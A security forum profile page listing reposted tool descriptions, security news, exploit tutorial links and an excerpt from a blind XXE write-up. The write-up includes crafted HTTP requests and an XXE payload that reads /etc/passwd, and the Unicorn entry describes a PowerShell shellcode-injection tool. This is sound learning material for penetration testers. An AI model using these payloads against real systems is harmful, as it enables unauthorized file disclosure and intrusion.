Jump to content

Nytro

Administrators
  • Posts

    18740
  • Joined

  • Last visited

  • Days Won

    711

Everything posted by Nytro

  1. Nytro

    XRay

    XRAY XRay is a tool for network OSINT gathering, its goal is to make some of the initial tasks of information gathering and network mapping automatic. How Does it Work? XRay is a very simple tool, it works this way: It'll bruteforce subdomains using a wordlist and DNS requests. For every subdomain/ip found, it'll use Shodan to gather open ports and other intel. For every unique ip address, and for every open port, it'll launch specific banner grabbers and info collectors. Eventually the data is presented to the user on the web ui. Grabbers and Collectors HTTP Server, X-Powered-By and Location headers. HTTP and HTTPS robots.txt disallowed entries. HTTPS certificates chain. HTML title tag. DNS version.bind. and hostname.bind. records. MySQL, SMTP, FTP, SSH, POP and IRC banners. Sursa: https://github.com/evilsocket/xray
      • 2
      • Upvote
  2. Table of Contents 1 Arithmetic Primitives 1.1 Modular Arithmetic Primer 1.2 Addition and Subtraction 1.2.1 Example 1.3 Multiplication 1.3.1 Example 1.4 Division 1.4.1 Example 1.5 Exponentiation 1.5.1 Example 1.6 Square Root 2 Elliptic Curve Cryptography 2.1 Introduction 2.2 Elliptic Curve Equation 2.3 Point representation 3 Point Operations 3.1 Point Addition 3.2 Point Doubling 3.3 Scalar Point Multiplication 3.4 Checking if a point is on curve 4 Doing useful ECC operations 4.1 Curve cryptosystem parameters 4.2 Generating a keypair 4.3 Encrypting using ECIES 4.3.1 Encryption 4.3.2 Decryption 4.4 Signing using ECDSA 4.4.1 Signing 4.4.2 Signature Verification 4.4.3 Why ECDSA works 4.5 Messing with ECDSA signatures 4.5.1 Excursion: Why the greatest morons of the universe work at Sony 5 Advanced Topics 5.1 Point Compression 6 Examples 6.1 Testing your integer arithmetic using Genius 6.2 Using Sage to play with elliptic curves 6.3 Extracting curve parameters from openssl 6.4 Playing with openssl ECDSA signatures 6.5 Visualizing a small curve 7 FAQ 7.1 Cool! Now that I know how to use ECC, should I write my own crypto library? 7.2 Can I at least define my own curve then? 7.3 But I don't trust NIST/SECG. What alternatives do I have? 8 Downloads 9 Literature Sursa: https://www.johannes-bauer.com/compsci/ecc/
      • 1
      • Upvote
  3. This repository houses a series of Proofs of concept C programs that exploit Vulnerabilities I have found the Android Kernel. For the most up-to-date list of my bugs see http://plzdonthack.me For the bugs listed with _mtk.c I didn't bother even trying to compile them as I don't have a mediatek device to test on. July: https://github.com/ScottyBauer/Android_Kernel_CVE_POCs/commit/0b4721f4c9061f2de2222bff50f6f719864b6a10 All: https://github.com/ScottyBauer/Android_Kernel_CVE_POCs
      • 1
      • Upvote
  4. OpenBSD Will Get Unique Kernels on Each Reboot. Do You Hear That Linux, Windows? By Catalin Cimpanu July 5, 2017 A new feature added in test snapshots for OpenBSD releases will create a unique kernel every time an OpenBSD user reboots or upgrades his computer. This feature is named KARL — Kernel Address Randomized Link — and works by relinking internal kernel files in a random order so that it generates a unique kernel binary blob every time. Currently, for stable releases, the OpenBSD kernel uses a predefined order to link and load internal files inside the kernel binary, resulting in the same kernel for all users. KARL is different from ASLR Developed by Theo de Raadt, KARL will work by generating a new kernel binary at install, upgrade, and boot time. If the user boots up, upgrades, or reboots his machine, the most recently generated kernel will replace the existing kernel binary, and the OS will generate a new kernel binary that will be used on the next boot/upgrade/reboot, constantly rotating kernels on reboots or upgrades. KARL should not be confused with ASLR — Address Space Layout Randomization — a technique that randomizes the memory address where application code is executed, so exploits can't target a specific area of memory where an application or the kernel is known to run. "It still loads at the same location in KVA [Kernel Virtual Address Space]. This is not kernel ASLR!," said de Raadt. Instead, KARL generates kernel binaries with random internal structures, so exploits cannot leak or attack internal kernel functions, pointers, or objects. A technical explanation is available below. A unique kernel is linked such that the startup assembly code is kept in the same place, followed by randomly-sized gapping, followed by all the other .o files randomly re-organized. As a result the distances between functions and variables are entirely new. An info leak of a pointer will not disclose other pointers or objects. This may also help reduce gadgets on variable-sized architectures, because polymorphism in the instruction stream is damaged by nested offsets changing. "As a result, every new kernel is unique," de Raadt says. Feature developed in the last two months Work on this feature started in May and was first discussed in mid-June on the OpenBSD technical mailing list. KARL has recently landed in snapshot versions of OpenBSD 6.1. "The situation today is that many people install a kernel binary from OpenBSD, and then run that same kernel binary for 6 months or more. Of course, if you booted that same kernel binary repeatedly, the layout would be the same. That is where we are today, for commited code," de Raadt says. "However, snapshots of -current contain a futher change, which I worked on with Robert Peichaer. That change is scaffolding to ensure you boot a newly-linked kernel upon every reboot. KARL is a unique feature Speaking to Bleeping Computer, Tiberiu C. Turbureanu, founder of Technoethical, a startup that sells privacy-focused hardware products, says this feature appears to be unique to OpenBSD. "It's not implemented in Linux," Turbureanu said. "This looks like a great idea," the expert added, regarding the possibility of having this feature ported to the Linux kernel. Instead, the Linux project has just added support for Kernel Address Space Layout Randomization (KASLR), a feature that ports ASLR to the kernel itself, loading the kernel at a randomized memory address. This feature was turned on by default in Linux 4.12, released last week. The difference between the two is that KARL loads a different kernel binary in the same place, while KASLR loads the same binary in random locations. Same goal, different paths. As for Windows, KARL is not supported, but Microsoft has used KASLR for many years. Fabian Wosar, Chief Technical Officer for antivirus maker Emsisoft is all on board with adding KARL to the Windows kernel. "OpenBSD's idea would go even further [than current Windows kernel protections] as everyone would have a unique kernel binary as well," Wosar said in a private conversation with Bleeping Computer. "So even if you had the address where the kernel starts (which is randomised), you couldn't use it to figure out where certain functions are located, as the location of the functions relative to the kernel start will be different from system to system as well," Wosar added. Having KARL on other OS platforms would greatly improve the security of both Windows and Linux users. Sursa: https://www.bleepingcomputer.com/news/security/openbsd-will-get-unique-kernels-on-each-reboot-do-you-hear-that-linux-windows/
      • 2
      • Upvote
  5. Researchers Build Firewall to Deflect SS7 Attacks Security researchers will release an open-source SS7 firewall at Black Hat USA that aims to bolster security of mobile operators' core networks. Mobile security software can do little to protect end users and BYOD workers when Signaling System 7 (SS7) vulnerabilities are exploited in mobile operotors' core mobile networks, according to security researchers. SS7 vulnerabilities, which can allow cybercriminals to hijack two-factor authentication codes texted to mobile phones, read and redirect text messages, eavesdrop on phone calls, and track a phone's location, have existed since 2014. But researchers from P1 Security have built a firewall that defends against such SS7 attacks. Martin Kacer, P1's core network security researcher, and Philippe Langlois, P1's CEO, will release the homegrown open-source SS7 firewall technology at Black Hat USA in Las Vegas later this month. "Two years ago, it was very expensive and hard to deploy an SS7 firewall," Kacer says. "But now there is a new open-source SS7 firewall that will make it less expensive" for mobile operators, he says. Langlois, meanwhile, notes that the firewall will allow operators to encrypt signalization and authenticate connecting mobile operators using the SS7 and Diameter protocol, whereas before it was not possible to easily enable confidentiality and integrity protection for the signalization between operators. This is designed to prevent attackers from sniffing the traffic as it flies between the mobile core networks. It also prevents spoofing, where attackers impersonate networks, Kacer says. Not only is the open-source firewall designed to take standard firewall measures against cyberattacks, but it's also configured to take an advanced defensive posture as well. Attackers who send an illegal signalization in the hope of identifying the location of the cellphone will instead have it redirected to a honeypot, for instance, which will then send a fake location to the attacker, Kacer says. P1's Kacer and Langlois in their SS7 Attacker Heaven Turns Into Riot: How To Make Nation-State And Intelligence Attackers' Lives Much Harder On Mobile Networks talk at Black Hat also plan to delve into the current status of SS7 mobile vulnerabilities, potential solutions, explore advanced SS7 attacks, and defenses relating to the SS7 network vulnerabilities. Dawn Kawamoto is an Associate Editor for Dark Reading, where she covers cybersecurity news and trends. She is an award-winning journalist who has written and edited technology, management, leadership, career, finance, and innovation stories for such publications as CNET's ... View Full Bio Sursa: http://www.darkreading.com/mobile/researchers-build-firewall-to-deflect-ss7-attacks/d/d-id/1329272
      • 1
      • Upvote
  6. Nytro

    Unicorn

    Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18. https://www.trustedsec.com unicorn Written by: Dave Kennedy (@HackingDave) Website: https://www.trustedsec.com Magic Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18. Usage is simple, just run Magic Unicorn (ensure Metasploit is installed and in the right path) and magic unicorn will automatically generate a powershell command that you need to simply cut and paste the powershell code into a command line window or through a payload delivery system. Link: https://github.com/trustedsec/unicorn
  7. Windows Kernel Exploitation When I started learning about Windows kernel exploitation, I turned my notes into blog posts and tried to make them explain everything that I was doing. This process improved my understanding a great deal and several rounds of feedback and rewrites later, they've become this series of tutorials. The first part covers a couple of different ways to setup kernel debugging for a live Windows host and some basic WinDbg commands. Windows Kernel Exploitation Part 0: Kernel Debugging Parts 1 to 5 walk through exploiting what at the time were most of the vulnerabilities present in the HackSysTeam extremely vulnerable driver. This is a Windows driver based exploit me, created with the aim of helping people learn Windows kernel exploitation. Windows Kernel Exploitation Part 1: Getting Started With The HackSysTeam Extremely Vulnerable Driver Windows Kernel Exploitation Part 2: My First Kernel Exploit Windows Kernel Exploitation Part 3: Arbitary Overwrite, NULL Pointer, Type Confusion And Integer Overflow Examples Windows Kernel Exploitation Part 4: Introduction to Windows Kernel Pool Exploitation The Spiritual part 5 of the series was published via MWR Labs and walks through exploiting CVE-2014-4113 on a 32 bit copy of Windows 7. Windows Kernel Exploitation 101: Exploiting CVE-2014-4113 The remaining post focuses on bridging the gap between exploiting vulnerabilities on Windows 7 and Windows 8.1 and solving the extra challenges this introduces. Windows Kernel Exploitation Part 6: Moving On From Windows 7, Arbitary Overwrite and Stack Overflow Examples For Windows 8.1 64Bit Additionally I wrote a long post on revisiting a paper originally written by j00ru about kernel address leaks, looking at how the functions used in his paper had been modified on newer versions of Windows: Revisiting Windows Security Hardening Through Kernel Address Protection Sursa: https://samdb.xyz/windows-kernel-exploitation/
      • 3
      • Upvote
  8. A Study of Overflow Vulnerabilities on GPUs Bang Di, Jianhua Sun and Hao Chen College of Computer Science and Electronic Engineering, Hunan University, Changsha 410082, China {dibang,jhsun,haochen}@hnu.edu.cn Abstract. GPU-accelerated computing gains rapidly-growing popular- ity in many areas such as scientific computing, database systems, and cloud environments. However, there are less investigations on the security implications of concurrently running GPU applications. In this paper, we explore security vulnerabilities of CUDA from multiple dimensions. In particular, we first present a study on GPU stack, and reveal that stack overflow of CUDA can affect the execution of other threads by manipu- lating different memory spaces. Then, we show that the heap of CUDA is organized in a way that allows threads from the same warp or different blocks or even kernels to overwrite each other’s content, which indicates a high risk of corrupting data or steering the execution flow by over- writing function pointers. Furthermore, we verify that integer overflow and function pointer overflow in struct also can be exploited on GPUs. But other attacks against format string and exception handler seems not feasible due to the design choices of CUDA runtime and programming language features. Finally, we propose potential solutions of preventing the presented vulnerabilities for CUDA. Sursa: https://www.aimlab.org/haochen/papers/npc16-overflow.pdf
      • 1
      • Upvote
  9. ssl_logger Decrypts and logs a process's SSL traffic. The functionality offered by ssl_logger is intended to mimic Echo Mirage's SSL logging functionality on Linux and macOS. Basic Usage python ssl_logger.py [-pcap <path>] [-verbose] <process name | process id> Arguments: -pcap <path> Name of PCAP file to write -verbose Show verbose output <process name | process id> Process whose SSL calls to log Examples: ssl_logger.py -pcap ssl.pcap openssl ssl_logger.py -verbose 31337 ssl_logger.py -pcap log.pcap -verbose wget Full Example geffner@ubuntu:~$ # Make a local pipe for input to our openssl client geffner@ubuntu:~$ mkfifo pipe geffner@ubuntu:~$ # Create our openssl client, which will receive input from our pipe geffner@ubuntu:~$ openssl s_client -ign_eof -connect example.org:443 > /dev/null 2> /dev/null < pipe & [1] 98954 geffner@ubuntu:~$ # Begin writing the request to our pipe geffner@ubuntu:~$ printf "GET / HTTP/1.0\nHost:example.org\n" > pipe geffner@ubuntu:~$ # Begin logging the SSL traffic for our openssl client process geffner@ubuntu:~$ python ssl_logger.py -verbose 98954 & [2] 98962 Press Ctrl+C to stop logging. geffner@ubuntu:~$ # Write the final line-feed to our pipe to complete the HTTP request geffner@ubuntu:~$ printf "\n" > pipe SSL Session: 1820201001719DF42ECCA1D289C3D32E0AA0454B50E8AF00E8A65B0108F209A8 [SSL_write] 100.97.20.44:45836 --> 93.184.216.34:443 00000000: 0A . SSL Session: 1820201001719DF42ECCA1D289C3D32E0AA0454B50E8AF00E8A65B0108F209A8 [SSL_read] 93.184.216.34:443 --> 100.97.20.44:45836 00000000: 48 54 54 50 2F 31 2E 30 20 32 30 30 20 4F 4B 0D HTTP/1.0 200 OK. 00000010: 0A 41 63 63 65 70 74 2D 52 61 6E 67 65 73 3A 20 .Accept-Ranges: 00000020: 62 79 74 65 73 0D 0A 43 61 63 68 65 2D 43 6F 6E bytes..Cache-Con 00000030: 74 72 6F 6C 3A 20 6D 61 78 2D 61 67 65 3D 36 30 trol: max-age=60 00000040: 34 38 30 30 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 4800..Content-Ty 00000050: 70 65 3A 20 74 65 78 74 2F 68 74 6D 6C 0D 0A 44 pe: text/html..D 00000060: 61 74 65 3A 20 54 68 75 2C 20 32 32 20 4A 75 6E ate: Thu, 22 Jun 00000070: 20 32 30 31 37 20 31 35 3A 31 36 3A 35 32 20 47 2017 15:16:52 G 00000080: 4D 54 0D 0A 45 74 61 67 3A 20 22 33 35 39 36 37 MT..Etag: "35967 00000090: 30 36 35 31 22 0D 0A 45 78 70 69 72 65 73 3A 20 0651"..Expires: 000000A0: 54 68 75 2C 20 32 39 20 4A 75 6E 20 32 30 31 37 Thu, 29 Jun 2017 000000B0: 20 31 35 3A 31 36 3A 35 32 20 47 4D 54 0D 0A 4C 15:16:52 GMT..L 000000C0: 61 73 74 2D 4D 6F 64 69 66 69 65 64 3A 20 46 72 ast-Modified: Fr 000000D0: 69 2C 20 30 39 20 41 75 67 20 32 30 31 33 20 32 i, 09 Aug 2013 2 000000E0: 33 3A 35 34 3A 33 35 20 47 4D 54 0D 0A 53 65 72 3:54:35 GMT..Ser 000000F0: 76 65 72 3A 20 45 43 53 20 28 72 68 76 2F 38 31 ver: ECS (rhv/81 00000100: 38 46 29 0D 0A 56 61 72 79 3A 20 41 63 63 65 70 8F)..Vary: Accep 00000110: 74 2D 45 6E 63 6F 64 69 6E 67 0D 0A 58 2D 43 61 t-Encoding..X-Ca 00000120: 63 68 65 3A 20 48 49 54 0D 0A 43 6F 6E 74 65 6E che: HIT..Conten 00000130: 74 2D 4C 65 6E 67 74 68 3A 20 31 32 37 30 0D 0A t-Length: 1270.. 00000140: 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 63 6C 6F 73 Connection: clos 00000150: 65 0D 0A 0D 0A e.... SSL Session: 1820201001719DF42ECCA1D289C3D32E0AA0454B50E8AF00E8A65B0108F209A8 [SSL_read] 93.184.216.34:443 --> 100.97.20.44:45836 00000000: 3C 21 64 6F 63 74 79 70 65 20 68 74 6D 6C 3E 0A <!doctype html>. 00000010: 3C 68 74 6D 6C 3E 0A 3C 68 65 61 64 3E 0A 20 20 <html>.<head>. 00000020: 20 20 3C 74 69 74 6C 65 3E 45 78 61 6D 70 6C 65 <title>Example 00000030: 20 44 6F 6D 61 69 6E 3C 2F 74 69 74 6C 65 3E 0A Domain</title>. 00000040: 0A 20 20 20 20 3C 6D 65 74 61 20 63 68 61 72 73 . <meta chars 00000050: 65 74 3D 22 75 74 66 2D 38 22 20 2F 3E 0A 20 20 et="utf-8" />. 00000060: 20 20 3C 6D 65 74 61 20 68 74 74 70 2D 65 71 75 <meta http-equ 00000070: 69 76 3D 22 43 6F 6E 74 65 6E 74 2D 74 79 70 65 iv="Content-type 00000080: 22 20 63 6F 6E 74 65 6E 74 3D 22 74 65 78 74 2F " content="text/ 00000090: 68 74 6D 6C 3B 20 63 68 61 72 73 65 74 3D 75 74 html; charset=ut 000000A0: 66 2D 38 22 20 2F 3E 0A 20 20 20 20 3C 6D 65 74 f-8" />. <met 000000B0: 61 20 6E 61 6D 65 3D 22 76 69 65 77 70 6F 72 74 a name="viewport 000000C0: 22 20 63 6F 6E 74 65 6E 74 3D 22 77 69 64 74 68 " content="width 000000D0: 3D 64 65 76 69 63 65 2D 77 69 64 74 68 2C 20 69 =device-width, i 000000E0: 6E 69 74 69 61 6C 2D 73 63 61 6C 65 3D 31 22 20 nitial-scale=1" 000000F0: 2F 3E 0A 20 20 20 20 3C 73 74 79 6C 65 20 74 79 />. <style ty 00000100: 70 65 3D 22 74 65 78 74 2F 63 73 73 22 3E 0A 20 pe="text/css">. 00000110: 20 20 20 62 6F 64 79 20 7B 0A 20 20 20 20 20 20 body {. 00000120: 20 20 62 61 63 6B 67 72 6F 75 6E 64 2D 63 6F 6C background-col 00000130: 6F 72 3A 20 23 66 30 66 30 66 32 3B 0A 20 20 20 or: #f0f0f2;. 00000140: 20 20 20 20 20 6D 61 72 67 69 6E 3A 20 30 3B 0A margin: 0;. 00000150: 20 20 20 20 20 20 20 20 70 61 64 64 69 6E 67 3A padding: 00000160: 20 30 3B 0A 20 20 20 20 20 20 20 20 66 6F 6E 74 0;. font 00000170: 2D 66 61 6D 69 6C 79 3A 20 22 4F 70 65 6E 20 53 -family: "Open S 00000180: 61 6E 73 22 2C 20 22 48 65 6C 76 65 74 69 63 61 ans", "Helvetica 00000190: 20 4E 65 75 65 22 2C 20 48 65 6C 76 65 74 69 63 Neue", Helvetic 000001A0: 61 2C 20 41 72 69 61 6C 2C 20 73 61 6E 73 2D 73 a, Arial, sans-s 000001B0: 65 72 69 66 3B 0A 20 20 20 20 20 20 20 20 0A 20 erif;. . 000001C0: 20 20 20 7D 0A 20 20 20 20 64 69 76 20 7B 0A 20 }. div {. 000001D0: 20 20 20 20 20 20 20 77 69 64 74 68 3A 20 36 30 width: 60 000001E0: 30 70 78 3B 0A 20 20 20 20 20 20 20 20 6D 61 72 0px;. mar 000001F0: 67 69 6E 3A 20 35 65 6D 20 61 75 74 6F 3B 0A 20 gin: 5em auto;. 00000200: 20 20 20 20 20 20 20 70 61 64 64 69 6E 67 3A 20 padding: 00000210: 35 30 70 78 3B 0A 20 20 20 20 20 20 20 20 62 61 50px;. ba 00000220: 63 6B 67 72 6F 75 6E 64 2D 63 6F 6C 6F 72 3A 20 ckground-color: 00000230: 23 66 66 66 3B 0A 20 20 20 20 20 20 20 20 62 6F #fff;. bo 00000240: 72 64 65 72 2D 72 61 64 69 75 73 3A 20 31 65 6D rder-radius: 1em 00000250: 3B 0A 20 20 20 20 7D 0A 20 20 20 20 61 3A 6C 69 ;. }. a:li 00000260: 6E 6B 2C 20 61 3A 76 69 73 69 74 65 64 20 7B 0A nk, a:visited {. 00000270: 20 20 20 20 20 20 20 20 63 6F 6C 6F 72 3A 20 23 color: # 00000280: 33 38 34 38 38 66 3B 0A 20 20 20 20 20 20 20 20 38488f;. 00000290: 74 65 78 74 2D 64 65 63 6F 72 61 74 69 6F 6E 3A text-decoration: 000002A0: 20 6E 6F 6E 65 3B 0A 20 20 20 20 7D 0A 20 20 20 none;. }. 000002B0: 20 40 6D 65 64 69 61 20 28 6D 61 78 2D 77 69 64 @media (max-wid 000002C0: 74 68 3A 20 37 30 30 70 78 29 20 7B 0A 20 20 20 th: 700px) {. 000002D0: 20 20 20 20 20 62 6F 64 79 20 7B 0A 20 20 20 20 body {. 000002E0: 20 20 20 20 20 20 20 20 62 61 63 6B 67 72 6F 75 backgrou 000002F0: 6E 64 2D 63 6F 6C 6F 72 3A 20 23 66 66 66 3B 0A nd-color: #fff;. 00000300: 20 20 20 20 20 20 20 20 7D 0A 20 20 20 20 20 20 }. 00000310: 20 20 64 69 76 20 7B 0A 20 20 20 20 20 20 20 20 div {. 00000320: 20 20 20 20 77 69 64 74 68 3A 20 61 75 74 6F 3B width: auto; 00000330: 0A 20 20 20 20 20 20 20 20 20 20 20 20 6D 61 72 . mar 00000340: 67 69 6E 3A 20 30 20 61 75 74 6F 3B 0A 20 20 20 gin: 0 auto;. 00000350: 20 20 20 20 20 20 20 20 20 62 6F 72 64 65 72 2D border- 00000360: 72 61 64 69 75 73 3A 20 30 3B 0A 20 20 20 20 20 radius: 0;. 00000370: 20 20 20 20 20 20 20 70 61 64 64 69 6E 67 3A 20 padding: 00000380: 31 65 6D 3B 0A 20 20 20 20 20 20 20 20 7D 0A 20 1em;. }. 00000390: 20 20 20 7D 0A 20 20 20 20 3C 2F 73 74 79 6C 65 }. </style 000003A0: 3E 20 20 20 20 0A 3C 2F 68 65 61 64 3E 0A 0A 3C > .</head>..< 000003B0: 62 6F 64 79 3E 0A 3C 64 69 76 3E 0A 20 20 20 20 body>.<div>. 000003C0: 3C 68 31 3E 45 78 61 6D 70 6C 65 20 44 6F 6D 61 <h1>Example Doma 000003D0: 69 6E 3C 2F 68 31 3E 0A 20 20 20 20 3C 70 3E 54 in</h1>. <p>T 000003E0: 68 69 73 20 64 6F 6D 61 69 6E 20 69 73 20 65 73 his domain is es 000003F0: 74 61 62 6C 69 73 68 65 64 20 74 6F 20 62 65 20 tablished to be SSL Session: 1820201001719DF42ECCA1D289C3D32E0AA0454B50E8AF00E8A65B0108F209A8 [SSL_read] 93.184.216.34:443 --> 100.97.20.44:45836 00000000: 75 73 65 64 20 66 6F 72 20 69 6C 6C 75 73 74 72 used for illustr 00000010: 61 74 69 76 65 20 65 78 61 6D 70 6C 65 73 20 69 ative examples i 00000020: 6E 20 64 6F 63 75 6D 65 6E 74 73 2E 20 59 6F 75 n documents. You 00000030: 20 6D 61 79 20 75 73 65 20 74 68 69 73 0A 20 20 may use this. 00000040: 20 20 64 6F 6D 61 69 6E 20 69 6E 20 65 78 61 6D domain in exam 00000050: 70 6C 65 73 20 77 69 74 68 6F 75 74 20 70 72 69 ples without pri 00000060: 6F 72 20 63 6F 6F 72 64 69 6E 61 74 69 6F 6E 20 or coordination 00000070: 6F 72 20 61 73 6B 69 6E 67 20 66 6F 72 20 70 65 or asking for pe 00000080: 72 6D 69 73 73 69 6F 6E 2E 3C 2F 70 3E 0A 20 20 rmission.</p>. 00000090: 20 20 3C 70 3E 3C 61 20 68 72 65 66 3D 22 68 74 <p><a href="ht 000000A0: 74 70 3A 2F 2F 77 77 77 2E 69 61 6E 61 2E 6F 72 tp://www.iana.or 000000B0: 67 2F 64 6F 6D 61 69 6E 73 2F 65 78 61 6D 70 6C g/domains/exampl 000000C0: 65 22 3E 4D 6F 72 65 20 69 6E 66 6F 72 6D 61 74 e">More informat 000000D0: 69 6F 6E 2E 2E 2E 3C 2F 61 3E 3C 2F 70 3E 0A 3C ion...</a></p>.< 000000E0: 2F 64 69 76 3E 0A 3C 2F 62 6F 64 79 3E 0A 3C 2F /div>.</body>.</ 000000F0: 68 74 6D 6C 3E 0A html>. Dependencies This program uses the frida framework to perform code injection. Frida can be installed as follows: sudo pip install frida TODO Add support for processes that communicate via SSL without using libssl. Allow user to run ssl_logger before starting the process to be logged. Disclaimer This is not an official Google product. Sursa: https://github.com/google/ssl_logger
  10. CANAPE.Core - (c) James Forshaw 2017 A network proxy library written in C# for .NET Core based on CANAPE. Licensed under GPLv3. It should work on any platform with .NET Standard support 1.5, so .NET Core 1.0.4 on Windows, Linux and macOS should be suitable as well as recompiling for .NET framework and Mono. To use either compile with Visual Studio 2017 with .NET Core support or from the command line do the following: dotnet restore dotnet build CANAPE.Cli/CANAPE.Cli.csproj -c Release -f netcoreapp1.1 cd CANAPE.Cli/bin/Release/netcoreapp1.1 dotnet exec CANAPE.Cli.dll Examples/SocksProxy.csx --color Sursa: https://github.com/tyranid/CANAPE.Core
  11. Iata cateva noutati referitoare la evenimentul OWASP din Octombrie: OWASP AppSec Bucharest 2017 va avea loc intre 11 si 13 octombrie 2017 la Hotel Caro. Prezentarile si CTF-ul vor fi pe 13 octombrie impreuna cu workshop-uri cu intrarea libera. Pe 11 si 12 octombrie vom avea training-uri platite. Adobe este sponsor al evenimentului! Printre oaspeti se numara Robert Seacord - pentru un training de 3 zile de "Secure Java Coding" si Björn Kimminich - care va sustine un workshop de 3 ore despre OWASP Juice Shop. Aici sunt cateva link-uri utile pe care le puteti urmari pentru a afla programul complet: https://www.owasp.org/index. php/OWASP_Bucharest_AppSec_ Conference_2017 https://www.eventbrite.com/e/ owasp-bucharest-appsec- conference-2017-tickets- 35356670754 https://www.facebook.com/ events/1467007866655252 Intre timp, call for speakers este inca deschis. O zi frumoasa! Oana
  12. Nytro

    netdata

    netdata New to netdata? Here is a live demo: http://my-netdata.io netdata is a system for distributed real-time performance and health monitoring. It provides unparalleled insights, in real-time, of everything happening on the system it runs (including applications such as web and database servers), using modern interactive web dashboards. netdata is fast and efficient, designed to permanently run on all systems (physical & virtual servers, containers, IoT devices), without disrupting their core function. netdata runs on Linux, FreeBSD, and MacOS. News Netdata is featured at GitHub's State Of The Octoverse 2016 Mar 20th, 2017 - netdata v1.6.0 released! central netdata is here! headless collectors, proxies, streaming of metrics, etc. monitoring ephemeral nodes (auto-scaled VMs) monitoring ephemeral containers and VM guests monitoring web servers apps.plugin ported for FreeBSD monitoring IPMI dozens of new and improved plugins dozens of new and improved alarms dozens more improvements and performance optimizations Features Stunning interactive bootstrap dashboards mouse and touch friendly, in 2 themes: dark, light Amazingly fast responds to all queries in less than 0.5 ms per metric, even on low-end hardware Highly efficient collects thousands of metrics per server per second, with just 1% CPU utilization of a single core, a few MB of RAM and no disk I/O at all Sophisticated alarming hundreds of alarms, out of the box! supports dynamic thresholds, hysteresis, alarm templates, multiple role-based notification methods (such as email, slack.com, pushover.net, pushbullet.com, telegram.org, twilio.com, messagebird.com) Extensible you can monitor anything you can get a metric for, using its Plugin API (anything can be a netdata plugin, BASH, python, perl, node.js, java, Go, ruby, etc) Embeddable it can run anywhere a Linux kernel runs (even IoT) and its charts can be embedded on your web pages too Customizable custom dashboards can be built using simple HTML (no javascript necessary) Zero configuration auto-detects everything, it can collect up to 5000 metrics per server out of the box Zero dependencies it is even its own web server, for its static web files and its web API Zero maintenance you just run it, it does the rest scales to infinity requiring minimal central resources several operating modes autonomous host monitoring, headless data collector, forwarding proxy, store and forward proxy, central multi-host monitoring, in all possible configurations. Each node may have different metrics retention policy and run with or without health monitoring. time-series back-ends supported can archive its metrics on graphite, opentsdb, prometheus, json document DBs, in the same or lower detail (lower: to prevent it from congesting these servers due to the amount of data collected) Sursa: https://github.com/firehol/netdata/
      • 5
      • Upvote
  13. How to start Clone files $ git clone git@github.com:Bo0oM/Safiler.git $ cd Safiler Run server $ [sudo] pip install -r requirements.txt $ python server.py Open PoC Open PoC.xhtm or PoC.webarchive in Safari. Copy on a USB flash drive and carry it with you Demo Sursa: https://github.com/Bo0oM/Safiler
  14. Hunting in the Dark - Blind XXE 07 JULY 2017 on learning, bugbounty, injection, XXE Before getting into the post, this isn't anything brand new or leet in the area of XML External Entity (XXE) attacks, it is purely something I came across and wanted to share. The tl;dr to start off is essentially: Found an XXE bug that was blind meaning that no data or files were returned, based upon no knowledge of the back end. Port scanned with it based on errors, etc. Managed to get external interaction working. Utilized blind scanning to identify files on the back-end system. As a pentester I find myself learning loads every single day, whether it be reading for pleasure or learning something new on the job. Every day is still a school day and I'm always coming across things I've maybe seen before but in different implementations. This instance was a case of a JSON endpoint which when you flipped the content type it'd process XML entities and give you different errors depending on what content it received. What's this XXE you speak of? For those who read XXE and don't know what it is here's a short description taken from OWASP: An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts. If the generic description from OWASP doesn't cut it for you, it is essentially when you send malicious XML content to an application which processes that content to disclose information. This can result in: Local File Inclusion(LFI), Remote Code Execution(RCE), Denial of Service (DoS), Server Side Request Forgery(SSRF) & other types of attack however these are the main ones to look out for. It is essentially another injection type attack and one that can be quite critical if leveraged properly. So this post takes the form of a problem I encountered on a recent pentest & later found on a bounty too, essentially the issue lies with an application that accepted XML input and wasn't sufficiently scrutinising user supplied data. Initial Discovery The first identification that the host might be processing XML was made when I flipped the content type to XML on a JSON endpoint. An example request of how this was done is shown below: POST /broken/api/confirm HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Content-Type: application/xml;charset=UTF-8 [{}] To which this replied with a Java based error in the response similar to that shown below. javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document The contents of the error basically state that the backend processed the XML sent to it and had an issue with extracting the necessary content to process thus resulting in an error. In comparison to other responses the application was giving, this stood out as odd based upon the other responses being either True or False. Pulling at the thread So the next natural step for me was to pull at that thread and see how to application responded to other types of content being sent to it. First off I sent a generic XML payload to test the water and check this wasn't just a fluke. POST /broken/api/confirm HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Content-Type: application/xml;charset=UTF-8 <?xml version="1.0" encoding="utf-8"?> So that was sent to the application once again, this time the error response was slightly different in that it returned more context to the error: javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document Internal Exception: ████████████████████████: Unexpected EOF in prolog at [row,col {unknown-source}]: [3,0]] This confirmed the suspicion that the application was processing XML input, the error this time explained that there was an unexpected end to the passed data meaning that it was expecting more information in a POST request. Starting the Hunt This is where the hunt begins, normally the differentiation between errors might be enough for most people however I wanted to see how far I could go with this and what other information I could uncover. I started with regular XXE payloads looking for local files similar to this: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "file:///etc/passwd"> %a; ]> However the application kept replying with generic errors similar to the EOF one seen earlier so I had to dig deeper to find info about the server. Enter server side 